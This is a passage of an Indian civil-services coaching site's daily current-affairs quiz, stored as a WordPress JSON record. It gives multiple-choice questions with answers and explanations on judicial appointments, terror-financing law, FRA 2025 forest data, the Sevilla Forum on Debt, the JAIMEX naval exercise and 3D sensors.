{"id":2621,"date":"2025-10-23T13:55:18","date_gmt":"2025-10-23T13:55:18","guid":{"rendered":"https:\/\/iasquest.com\/?p=2621"},"modified":"2026-02-11T18:49:54","modified_gmt":"2026-02-11T18:49:54","slug":"daily-current-affairs-23-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-23-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 23-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements with respect to the Judicial appointments in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The Constitution defines the role of the judiciary in judicial appointments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The collegium recommends appointments and transfers of judges in the Supreme Court only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The government can return the recommendations of the collegium only once for reconsideration but not necessarily abide by it.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (d) None<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Supreme Court Collegium\u2019s shift in Justice Sreedharan\u2019s appointment raises concerns over Executive influence in judicial independence<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Appointment of Judges in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">The Constitution of India provides for the appointment of judges to the Supreme Court and High Courts. According to:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Article 124(2): Appointment of Supreme Court judges by the President after consultation with such judges of the Supreme Court and High Courts as deemed necessary.<\/li>\n\n\n\n<li>Article 217: Appointment of High Court judges by the President after consultation with the Chief Justice of India (CJI), the Governor of the State, and the Chief Justice of the High Court.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">However, <strong>the Constitution does not clearly define the process of consultation or the role of the judiciary in appointments<\/strong>, leading to interpretations and evolving practices. <strong>Hence statement 1 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Emergence of the Collegium System: Landmark Supreme Court Judgments<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>First Judges Case (1981):<\/strong> S.P. Gupta vs Union of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">The Court held that the consultation with the Chief Justice of India was not binding on the President, giving primacy to the executive in appointments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Second Judges Case (1993):<\/strong> Supreme Court Advocates-on-Record Association vs Union of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">The Court overruled the First Judges Case, holding that the \u201cconsultation\u201d with the Chief Justice of India means concurrence, giving the judiciary primacy in the appointment of judges. This led to the creation of the Collegium \u2014 a forum of the Chief Justice of India and the four senior-most Supreme Court judges to recommend appointments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Third Judges Case (1998):<\/strong> In re Presidential Reference<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">The Court expanded the Collegium to include the CJI and the four senior-most judges (instead of two), formalizing the process.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Collegium:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>It <strong>recommends appointments and transfers of judges in the Supreme Court and High Courts. Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The recommendations are <strong>sent to the Central Government, which usually forwards them to the President for approval.<\/strong><\/li>\n\n\n\n<li>The government has limited power to reject recommendations, generally <strong>returning them once for reconsideration but must abide by the Collegium if recommendations are reiterated. Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><strong>Q. What is the provision to safeguard the autonomy of the Supreme Court of India?<\/strong> <br><br>1. While appointing the Supreme Court Judges, the President of India has to consult the Chief Justice of India. <br>2. The Supreme Court Judges can be removed by the Chief Justice of India only. <br>3. The salaries of the Judges are charged on the Consolidated Fund of India to which the legislature does not have to vote. <br>4.All appointments of officers and staffs of the Supreme Court of India are made by the Government only after consulting the Chief Justice of India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 and 3 only<\/strong> <br>(b) 3 and 4 only <br>(c) 4 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/supreme-court-collegiums-shift-in-justice-sreedharans-appointment-raises-concerns-over-executive-influence-in-judicial-independence\/article70188965.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/supreme-court-collegiums-shift-in-justice-sreedharans-appointment-raises-concerns-over-executive-influence-in-judicial-independence\/article70188965.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>2. What is\/are the importance\/importances of the \u2018United Nations Convention against Terror Financing\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">1. It criminalizes the collection or provision of funds intended for terrorist acts, even if the acts are not carried out.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">2. It applies only to tangible assets and excludes digital or electronic assets.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">3. It obliges States to either prosecute or extradite offenders involved in terror financing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>In NEWS:<\/strong> Iran to join UN&#8217;s anti-terror group<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>UN convention against terror financing:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Adopted by the UN General Assembly on 9 December 1999.<\/li>\n\n\n\n<li>Entered into force on 10 April 2002.<\/li>\n\n\n\n<li>It was a&nbsp; response to the growing recognition that terrorism cannot function without financial support.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">To criminalize the financing of terrorism &#8211; cutting off funds used to plan, carry out, or support terrorist acts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Key Provisions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li><strong>Criminalization (Article 2):<\/strong> Any person who provides or collects funds knowing they will be used to carry out acts of terrorism is guilty of an offence.<\/li>\n\n\n\n<li><strong>Definition of \u201cFunds\u201d:<\/strong> Assets of every kind (tangible\/intangible, movable\/immovable) <strong>including electronic or digital assets<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Scope:<\/strong> Applies whether the terrorist act is actually carried out or not. Covers both direct and indirect financing. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Jurisdiction (Articles 6\u20139): <\/strong>States must establish jurisdiction if the offence occurs in their territory or involves their citizens. Encourages extradition or prosecution (aut dedere aut judicare). <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Information Sharing: <\/strong>Promotes international cooperation, exchange of intelligence, and assistance in investigations.<\/li>\n\n\n\n<li><strong>Relation to Other Instruments:<\/strong> Works in tandem with UN Security Council Resolution 1373 (2001) after 9\/11, which mandated freezing of terrorist assets. Supported by Financial Action Task Force (FATF) standards.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>India\u2019s Position:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>India <strong>signed the convention in 2000 and ratified it in 2010.<\/strong><\/li>\n\n\n\n<li><strong>Domestic laws aligned with it include:<\/strong><ul><li>Unlawful Activities (Prevention) Act (UAPA)<\/li><\/ul><ul><li>Prevention of Money Laundering Act (PMLA)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>National Investigation Agency (NIA) Act<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. What is\/are the importance\/importances of the \u2018United Nations Convention to Combat Desertification\u2019?<\/strong> <br><br>1. It aims to promote effective action through innovative national programmes and supportive international partnerships. <br>2. It has a special\/particular focus on South Asia and North Africa regions, and its Secretariat facilitates the allocation of major portion of financial resources to these regions. <br>3. It is committed to bottom-up approach, encouraging the participation of local people in combating the desertification. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/international\/world-news\/iran-to-join-uns-anti-terror-group\/articleshow\/124746381.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/international\/world-news\/iran-to-join-uns-anti-terror-group\/articleshow\/124746381.cms?from=mdr<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>3. With reference to \u2018Global Forest Resources Assessment (GFRA) 2025\u2019, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">I. It is a flagship initiative of the Food and Agriculture Organization (FAO).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">II. It is conducted every two years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">III. India ranked 3rd in the world in terms of annual forest area gain, indicating continued expansion of forest and tree cover.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">IV. Globally, the rate of loss due to deforestation has slowed compared to the 1990s.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(a) I and II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(c) I, III and IV only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(d) I, II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Answer: (c) I, III and IV only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>In NEWS: <\/strong>India moves up to 9th Position Globally in Forest Area; Continues to Rank 3rd in Annual Forest Gain<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Global Forest Resources Assessment:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>The Global Forest Resources Assessment (FRA) is a flagship program of the <strong>Food and Agriculture Organization (FAO) of the United Nations. Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>It provides comprehensive, consistent, and comparable information on the world\u2019s forests &#8211;&nbsp; their extent, condition, management, and uses.<\/li>\n\n\n\n<li>The FRA process began in 1948, when FAO conducted the first global assessment of forest resources.<\/li>\n\n\n\n<li>Initially, the assessments were based on limited data and were updated roughly every 10 years. Since 1990, the FRA has been conducted <strong>every five years. Hence statement II is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Key global Findings of FRA 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Total global forest area: Around 4.14 billion hectares, about 32 percent of the Earth\u2019s land area.<\/li>\n\n\n\n<li>Deforestation continues, but the rate of loss has slowed compared to the 1990s. <strong>Hence statement IV is correct.<\/strong><\/li>\n\n\n\n<li>Net forest loss is still occurring, mainly in tropical regions, though gains are seen in parts of Asia, Europe, and North America.<\/li>\n\n\n\n<li>Planted forests and restoration efforts are expanding, accounting for roughly 7 percent of global forest area.<\/li>\n\n\n\n<li>Forests store an estimated 660 billion tonnes of carbon, underlining their crucial role in climate regulation.<\/li>\n\n\n\n<li>Sustainable forest management has increased, with over half of the world\u2019s forests now under a management plan.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>India Highlights (FRA 2025):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>India\u2019s total forest area: about 72.7 million hectares (roughly 22 percent of its land area).<\/li>\n\n\n\n<li>India\u2019s global rank: now 9th in total forest area (previously 10th).<\/li>\n\n\n\n<li><strong>Annual forest area gain: India ranks 3rd in the world<\/strong>, indicating continued expansion of forest and tree cover. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>India\u2019s <strong>forest carbon stock has also increased<\/strong>, mainly due to large-scale afforestation and reforestation programs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Regional Trends:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>Asia: Overall forest area is increasing, driven mainly by<strong> gains in China and India.<\/strong><\/li>\n\n\n\n<li>Africa and South America: Continue to experience the <strong>highest rates of deforestation.<\/strong><\/li>\n\n\n\n<li>Europe: Forest area is <strong>stable or slightly increasing<\/strong>, with high levels of sustainable management.<\/li>\n\n\n\n<li>North America: Forest area <strong>stable, but wildfire and pest outbreaks remain major challenges.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><strong>Q.&nbsp; With reference to \u2018Forest Carbon Partnership Facility\u2019, which of the following statements is\/are correct?<\/strong> <br><br>1. It is a global partnership of governments, businesses, civil society and indigenous peoples. <br>2. It provides financial aid to universities, individual scientists and institutions involved in scientific forestry research to develop eco-friendly and climate adaptation technologies for sustainable forest management. <br>3. It assists the countries in their \u2018REDD+ (Reducing Emissions from Deforestation and Forest Degradation+)\u2019 efforts by providing them with financial and technical assistance. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2181416\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2181416<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>4. Consider the following statements with respect to the \u2018Sevilla Forum on Debt\u2019:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">I. It was launched at the 16th meeting of the United Nations Conference on Trade and Development in Geneva.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">II. It serves as an inclusive space where developed and developing countries and other stakeholders can engage in debt-related dialogue.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Answer: (c) Both I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>In NEWS:<\/strong> New Sevilla Forum launched to tackle global debt crisis<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Sevilla Forum on Debt:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>A new initiative called the Sevilla Forum on Debt has been launched at the UNCTAD\u202f16 (the 16th meeting of the United Nations Conference on Trade and Development) in Geneva. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>This forum is a Spanish-led initiative, supported by the United Nations Department of Economic and Social Affairs (UN DESA) and UNCTAD.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Global public debt hit US $102 trillion in 2024, with developing nations owing US $31 trillion and paying US $921 billion in interest.<\/li>\n\n\n\n<li>Around 3.4 billion people live in countries spending more on debt than on health or education.<\/li>\n\n\n\n<li>The Sevilla Forum was launched to create an inclusive platform for debtor and creditor nations, experts, and civil society to drive debt reform, promote fair lending and borrowing, and build a more equitable global debt system.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Key goals of the Sevilla Forum:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Serve as an inclusive space where developed &amp; developing countries (and other stakeholders) can engage in debt-related dialogue. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Track the implementation of the commitments made under the \u201cSevilla Commitment\u201d.<\/li>\n\n\n\n<li>Advance principles of responsible borrowing and lending.<\/li>\n\n\n\n<li>Reform the global debt architecture so it becomes fairer and more development-oriented.<\/li>\n\n\n\n<li>Transform political commitments into institutional mechanisms for fairer, more predictable debt governance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>UNCTAD:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>The United Nations Conference on Trade and Development (UNCTAD) is a permanent intergovernmental body established in 1964.<\/li>\n\n\n\n<li>It is part of the United Nations Secretariat and serves as the main UN body dealing with trade, investment, and development issues.<\/li>\n\n\n\n<li>UNCTAD works to help developing countries integrate into the global economy in a way that supports inclusive and sustainable development.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><strong>Q. The Global Infrastructure Facility is a\/an<\/strong> <br><br>(a) ASEAN initiative to upgrade infrastructure in Asia and financed by credit from the Asian Development Bank. <br><strong>(b) World Bank collaboration that facilitates the preparation and structuring of complex infrastructure Public-Private Partnerships (PPPs) to enable mobilization of private sector and institutional investor capital.<\/strong> <br>(c) Collaboration among the major banks of the world working with the OECD and focused on expanding the set of infrastructure projects that have the potential to mobilize private investment. <br>(d) UNCTAD funded initiative that seeks to finance and facilitate infrastructure development in the world.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/new-sevilla-forum-on-debt-launched-to-tackle-global-debt-crisis\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/new-sevilla-forum-on-debt-launched-to-tackle-global-debt-crisis<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>5. JAIMEX is a bilateral naval exercise conducted between India and<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">(a) Jamaica<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(b) Israel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(c) Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(d) Lebanon<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Answer: (c) Japan<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>In NEWS: <\/strong>Japan India Maritime Exercise held from 16 to 18 Oct 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>JAIMEX:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>JAIMEX (Japan\u2013India Maritime Exercise) is a bilateral naval exercise between the Indian Navy and the Japan Maritime Self-Defense Force (JMSDF). <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>The 2025 edition, called JAIMEX 25, showcased the growing maritime cooperation and strategic partnership between India and Japan in promoting a free, open, and secure Indo-Pacific region.<\/li>\n\n\n\n<li><strong>Sea Phase: <\/strong>16\u201318 October 2025, held in the waters off the western coast of Kyushu, Japan.<\/li>\n\n\n\n<li><strong>Harbour Phase:<\/strong> Conducted later at Yokosuka Port, Japan, including professional and cultural interactions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Participating Forces<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>From India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>INS Sahyadri, a Shivalik-class guided-missile stealth frigate commanded by Captain Rajat Kumar.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>From Japan:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li>JS Asahi (destroyer)<\/li>\n\n\n\n<li>JS Oumi (fleet oiler)<\/li>\n\n\n\n<li>Submarine Jinryu<\/li>\n\n\n\n<li>Units from the Japan Ground Self-Defense Force\u2019s 2nd Artillery Brigade and the Japan Air Self-Defense Force\u2019s Western Aircraft Control &amp; Warning Wing.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>Enhances <strong>interoperability between the Indian Navy and JMSDF<\/strong> through complex maritime operations.<\/li>\n\n\n\n<li>Reinforces the Special Strategic and Global Partnership between India and Japan, particularly in defence and maritime security.<\/li>\n\n\n\n<li>Demonstrates a<strong> shared commitment to maintaining peace, stability, and freedom of navigation in the Indo-Pacific.<\/strong><\/li>\n\n\n\n<li>Builds trust, mutual understanding, and operational coordination between the two naval forces.<\/li>\n\n\n\n<li>Strengthens regional cooperation among like-minded countries to uphold international maritime law and deter common threats.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2181539\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2181539<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>6. &#8220;3D sensors&#8221; have applications in which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">1. Identify potholes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">2. Quality inspection<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">3. Gesture-based control of lights<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">4. Crop yield estimation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">5. Augmented Reality apps<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(a) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(b) 2, 3 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(c) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(d) 1, 2, 3, 